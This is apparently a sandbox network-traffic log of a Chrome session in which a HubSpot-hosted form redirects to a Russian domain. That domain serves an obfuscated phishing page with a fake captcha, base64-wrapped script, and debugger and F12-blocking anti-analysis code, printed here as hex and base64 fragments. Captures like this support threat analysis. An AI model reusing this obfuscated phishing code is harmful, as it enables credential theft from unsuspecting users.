2025-01-10 11:06:53 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:53 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 6 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 91c16022-e1d1-4759-8f30-27a13717e647 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-tb2ns x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 91c16022-e1d1-4759-8f30-27a13717e647 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc33416fdbf3bb-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:06:53 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50052	104.18.80.204	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:53 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:06:53 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:53 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: a00a2203-71db-466e-ae7d-afa0487ae821 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-5hjc8 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: a00a2203-71db-466e-ae7d-afa0487ae821 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc33459e069e05-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:06:53 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50055	104.21.32.1	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:53 UTC	760	OUT	GET /1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb HTTP/1.1 Host: 5qwo.oventera.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:54 UTC	1242	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gAzgH9Q2VqOEVwglqU8Zo55zoAmpKOtsbqoGoGudCYBo%2B1navEHhncpSsdSyAPNWhPvDjA%2FCwtPcsUeJxmhmcHWANBvkISusHBvjrxkjpMBc6hI%2FDju8mMIZuGp1tA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4032&min_rtt=3973&rtt_var=1149&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1669&delivery_rate=706349&cwnd=251&unsent_bytes=0&cid=1f5b047e71bf9e86&ts=353&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImVteVRzWXN4K1JuNTA2MHpqWGZXWkE9PSIsInZhbHVlIjoiSXVwKzRZWHRqeHVJWU9rWExXWTdqSFNxV1ArQTVjVnp5NWxIZWp5VkR5Z2pselBZOGNpMUpBaHJDUE1IQThzV204QS9naGtKUGxQcE9NbE9vTzh2RjJ4Tm1jV3IxVUNYOHdBNkNrejZMdlROTnNrY0NzV1RROW9qZzJPREZadW4iLCJtYWMiOiIzYmI5YmZkOTE0MzJjMTI0MGQwNTRiZTY0N2IwM2RkNDE3OTQ5NWUzODcxMTA3MGYxZTQwYWRjOGZkOWM2M2ZkIiwidGFnIjoiIn0%3D; expires=Fri, 10-Jan-2025 13:06:54 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-10 11:06:54 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 74 77 52 47 34 77 57 58 6c 46 5a 7a 52 48 4c 32 70 78 64 46 70 73 65 48 42 76 4d 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 43 39 31 63 44 4e 44 59 57 70 36 55 58 4a 35 55 7a 4a 47 61 30 70 42 56 33 55 35 5a 6c 59 77 4e 47 31 43 4b 7a 56 4e 55 44 4e 4b 4f 44 6c 42 55 31 4a 70 4e 53 74 73 4e 58 64 73 51 7a 6c 78 52 6a 42 58 4d 30 4e 77 53 44 4a 42 57 44 42 48 53 6a 5a 4f 63 30 68 48 4e 56 41 30 61 44 6c 42 63 32 55 30 4b 30 6f 78 63 57 38 72 5a 55 31 33 62 45 46 58 59 6d 6c 50 4e 6b 5a 34 51 55 56 6e 55 47 4e 56 59 32 6c 72 55 32 4e 4b 55 69 39 75 65 6a 6c 6f 4e 6c 4a 4a 54 6c 64 59 54 44 51 35 63 31 52 51 55 69 39 58 65 54 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IktwRG4wWXlFZzRHL2pxdFpseHBvM3c9PSIsInZhbHVlIjoiNC91cDNDYWp6UXJ5UzJGa0pBV3U5ZlYwNG1CKzVNUDNKODlBU1JpNStsNXdsQzlxRjBXM0NwSDJBWDBHSjZOc0hHNVA0aDlBc2U0K0oxcW8rZU13bEFXYmlPNkZ4QUVnUGNVY2lrU2NKUi9uejloNlJJTldYTDQ5c1RQUi9XeTQ
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 32 33 30 35 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 59 52 7a 6b 75 62 33 5a 6c 62 6e 52 6c 63 6d 45 75 63 6e 55 76 4d 55 39 54 62 30 73 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 Data Ascii: 2305<script>if(atob("aHR0cHM6Ly9YRzkub3ZlbnRlcmEucnUvMU9Tb0sv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LT
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 64 58 4e 6c 63 6d 6c 75 64 47 56 79 4c 6e 42 75 5a 79 49 70 4f 77 30 4b 49 43 41 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 63 32 6c 36 5a 54 6f 67 59 32 39 32 5a 58 49 37 44 51 6f 67 49 43 41 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 5a 70 62 48 52 6c 63 6a 6f 67 59 6d 78 31 63 69 67 78 4e 48 42 34 4b 54 73 4e 43 69 41 67 49 43 42 36 4c 57 6c 75 5a 47 56 34 4f 69 41 74 4d 54 73 4e 43 6e 30 4e 43 69 35 6a 62 32 35 30 5a 57 35 30 49 48 73 4e 43 69 41 67 49 43 42 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 6d 55 37 44 51 6f 67 49 43 41 67 65 69 31 70 62 6d 52 6c 65 44 6f 67 4d 54 73 4e 43 69 41 67 49 43 42 6b 61 58 4e 77 62 47 46 Data Ascii: dXNlcmludGVyLnBuZyIpOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOw0KICAgIGZpbHRlcjogYmx1cigxNHB4KTsNCiAgICB6LWluZGV4OiAtMTsNCn0NCi5jb250ZW50IHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgei1pbmRleDogMTsNCiAgICBkaXNwbGF
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 77 30 4b 49 43 41 67 49 47 4a 76 63 6d 52 6c 63 69 31 79 59 57 52 70 64 58 4d 36 49 44 4e 77 65 44 73 4e 43 69 41 67 49 43 42 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4f 69 41 6a 5a 6d 5a 6d 4f 77 30 4b 49 43 41 67 49 47 31 68 63 6d 64 70 62 69 31 79 61 57 64 6f 64 44 6f 67 4d 54 42 77 65 44 73 4e 43 69 41 67 49 43 42 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 6d 55 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 6f 5a 57 4e 72 59 6d 39 34 49 47 6c 75 63 48 56 30 57 33 52 35 63 47 55 39 49 6d 4e 6f 5a 57 4e 72 59 6d 39 34 49 6c 30 36 59 32 68 6c 59 32 74 6c 5a 43 41 72 49 47 78 68 59 6d 56 73 49 43 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 6f 5a 57 4e 72 62 57 46 79 61 7a 6f 36 59 57 5a 30 Data Ascii: w0KICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICAgIG1hcmdpbi1yaWdodDogMTBweDsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il06Y2hlY2tlZCArIGxhYmVsIC5jYXB0Y2hhLWNoZWNrbWFyazo6YWZ0
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 78 6c 65 43 31 6b 61 58 4a 6c 59 33 52 70 62 32 34 36 49 47 4e 76 62 48 56 74 62 6a 73 4e 43 69 41 67 49 43 42 68 62 47 6c 6e 62 69 31 70 64 47 56 74 63 7a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 41 67 49 47 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 45 77 63 48 67 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 6c 62 6e 51 67 61 57 31 6e 49 48 73 4e 43 69 41 67 49 43 42 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 49 43 42 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 41 78 4d 48 42 34 4f 77 30 4b 66 51 30 4b 44 51 6f 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 5a 57 35 30 49 47 6c 75 63 48 56 30 49 Data Ascii: xleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIHdpZHRoOiAxMDAlOw0KICAgIG1hcmdpbi10b3A6IDEwcHg7DQp9DQoNCi5jYXB0Y2hhLWNvbnRlbnQgaW1nIHsNCiAgICB3aWR0aDogMTAwJTsNCiAgICBtYXJnaW4tYm90dG9tOiAxMHB4Ow0KfQ0KDQouY2FwdGNoYS1jb250ZW50IGlucHV0I
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 67 50 53 41 69 59 57 4a 76 64 58 51 36 59 6d 78 68 62 6d 73 69 4f 77 30 4b 66 51 30 4b 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 57 52 6b 52 58 5a 6c 62 6e 52 4d 61 58 4e 30 5a 57 35 6c 63 69 67 6e 61 32 56 35 5a 47 39 33 62 69 63 73 49 47 5a 31 62 6d 4e 30 61 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 Data Ascii: gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgIC
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 62 32 35 7a 64 43 42 6e 54 55 56 52 64 6c 6c 31 63 30 70 6b 49 44 30 67 4d 54 41 77 4f 77 30 4b 49 43 41 67 49 48 4e 6c 64 45 6c 75 64 47 56 79 64 6d 46 73 4b 47 5a 31 62 6d 4e 30 61 57 39 75 4b 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 32 59 32 46 74 54 6b 56 35 61 6c 68 4d 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 6b 55 55 68 71 52 30 74 36 63 58 5a 79 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 6b 55 55 68 71 52 30 74 36 63 58 5a 79 49 43 30 Data Ascii: b25zdCBnTUVRdll1c0pkID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCB2Y2FtTkV5alhMID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRlYnVnZ2VyOw0KICAgICAgICBjb25zdCBkUUhqR0t6cXZyID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmIChkUUhqR0t6cXZyIC0
2025-01-10 11:06:54 UTC	759	IN	Data Raw: 55 46 42 51 55 4a 48 5a 45 4a 55 56 55 56 42 51 55 78 48 55 45 4d 76 65 47 68 43 55 55 46 42 51 55 46 47 65 6c 56 72 5a 45 4e 42 53 7a 64 50 53 45 39 72 51 55 46 42 54 55 46 56 52 58 68 56 55 6c 56 6b 64 31 52 50 62 45 4a 4e 4b 33 52 43 54 53 74 34 51 6b 35 74 65 55 39 6b 64 6a 6c 77 54 57 70 44 62 6c 64 46 53 30 59 34 4d 45 39 48 4f 55 51 72 51 53 38 76 51 6b 46 4f 64 58 52 44 54 6b 39 77 51 30 35 50 56 6b 52 4e 61 6b 39 76 56 57 70 48 63 6c 5a 45 54 32 35 56 64 57 68 42 54 6b 52 50 62 6c 56 71 54 32 31 56 64 57 68 45 54 6d 5a 70 4e 30 4a 55 53 32 35 56 61 6b 39 75 56 57 70 50 62 6c 56 31 63 45 4e 4f 5a 58 42 4e 54 57 56 30 51 6b 35 6c 63 45 4e 4f 52 58 55 77 57 45 39 30 52 45 35 50 64 45 4e 4f 52 46 4e 76 56 57 70 54 62 31 56 71 55 32 39 56 4b 32 78 43 Data Ascii: UFBQUJHZEJUVUVBQUxHUEMveGhCUUFBQUFGelVrZENBSzdPSE9rQUFBTUFVRXhVUlVkd1RPbEJNK3RCTSt4Qk5teU9kdjlwTWpDbldFS0Y4ME9HOUQrQS8vQkFOdXRDTk9wQ05PVkRNak9vVWpHclZET25VdWhBTkRPblVqT21VdWhETmZpN0JUS25Vak9uVWpPblV1cENOZXBNTWV0Qk5lcENORXUwWE90RE5PdENORFNvVWpTb1VqU29VK2xC
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 66 33 63 0d 0a 67 77 51 30 59 35 61 6c 4e 73 56 55 39 77 51 30 35 6c 61 45 4e 4f 4c 33 55 34 51 6c 56 48 52 54 6c 51 4b 79 39 42 55 48 6b 34 51 6c 52 54 65 46 52 56 61 55 63 76 65 6c 4e 78 56 6b 39 30 51 30 35 51 64 54 64 42 4c 32 30 34 51 6a 42 44 52 54 68 72 51 30 51 35 52 44 5a 47 4e 32 5a 70 4e 6b 4a 56 52 30 55 35 52 46 64 75 56 58 5a 78 4f 45 4a 50 62 45 52 4f 52 55 74 47 4f 43 39 31 4f 45 4a 46 52 30 59 35 52 55 74 47 4f 57 56 34 52 45 35 50 63 45 52 4f 55 48 45 33 51 6b 52 50 62 56 56 71 56 32 70 61 4c 33 6b 34 51 6d 5a 31 4e 30 4a 6d 4b 7a 64 42 64 6e 55 33 51 54 42 48 52 54 67 77 52 30 55 35 54 33 52 43 54 6c 42 31 4e 30 4a 6d 63 54 68 43 52 55 64 47 4f 55 52 50 62 31 56 32 62 54 64 43 5a 6e 45 33 51 6b 4d 32 61 56 68 51 63 54 68 43 55 48 55 33 Data Ascii: f3cgwQ0Y5alNsVU9wQ05laENOL3U4QlVHRTlQKy9BUHk4QlRTeFRVaUcvelNxVk90Q05QdTdBL204QjBDRThrQ0Q5RDZGN2ZpNkJVR0U5RFduVXZxOEJPbERORUtGOC91OEJFR0Y5RUtGOWV4RE5PcEROUHE3QkRPbVVqV2paL3k4QmZ1N0JmKzdBdnU3QTBHRTgwR0U5T3RCTlB1N0JmcThCRUdGOURPb1V2bTdCZnE3QkM2aVhQcThCUHU3
2025-01-10 11:06:54 UTC	1369	IN	Data Raw: 56 35 61 47 46 70 5a 32 52 34 61 58 6c 58 53 46 56 71 5a 44 68 34 55 46 70 4e 54 47 77 31 55 44 55 76 55 6a 42 4a 62 30 56 78 4e 47 56 75 62 30 78 73 5a 47 78 52 65 47 30 72 4d 46 4a 44 57 54 42 50 65 6d 4a 6d 4d 69 74 4f 51 31 46 48 62 6d 6f 7a 61 44 68 79 61 6a 5a 68 4e 6b 52 45 55 48 42 54 63 7a 46 48 65 44 5a 32 4f 55 4e 44 4e 55 4a 50 63 6e 45 35 63 58 67 32 62 6c 6c 53 57 45 38 78 52 33 45 31 64 48 67 78 61 48 42 31 55 6a 64 6b 54 55 70 75 51 30 74 42 64 6c 59 34 4e 6a 4e 4a 5a 55 4e 35 56 31 4a 6e 55 48 41 30 56 44 51 7a 63 31 52 75 51 31 4e 54 53 45 56 49 61 46 6f 33 53 6a 68 6d 53 30 4a 73 65 58 6c 50 55 7a 68 57 55 57 64 52 4c 33 64 30 5a 6d 70 53 61 48 6c 35 59 33 64 58 4f 45 6c 7a 57 47 77 7a 4c 32 35 4c 65 57 30 76 55 56 6c 4b 55 30 39 4a 64 Data Ascii: V5aGFpZ2R4aXlXSFVqZDh4UFpNTGw1UDUvUjBJb0VxNGVub0xsZGxReG0rMFJDWTBPemJmMitOQ1FHbmozaDhyajZhNkREUHBTczFHeDZ2OUNDNUJPcnE5cXg2bllSWE8xR3E1dHgxaHB1UjdkTUpuQ0tBdlY4NjNJZUN5V1JnUHA0VDQzc1RuQ1NTSEVIaFo3SjhmS0JseXlPUzhWUWdRL3d0ZmpSaHl5Y3dXOElzWGwzL25LeW0vUVlKU09Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50056	151.101.2.137	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:55 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://5qwo.oventera.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:55 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 10 Jan 2025 11:06:55 GMT Age: 1991741 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740072-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 80 X-Timer: S1736507215.379420,VS0,VE0 Vary: Accept-Encoding
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
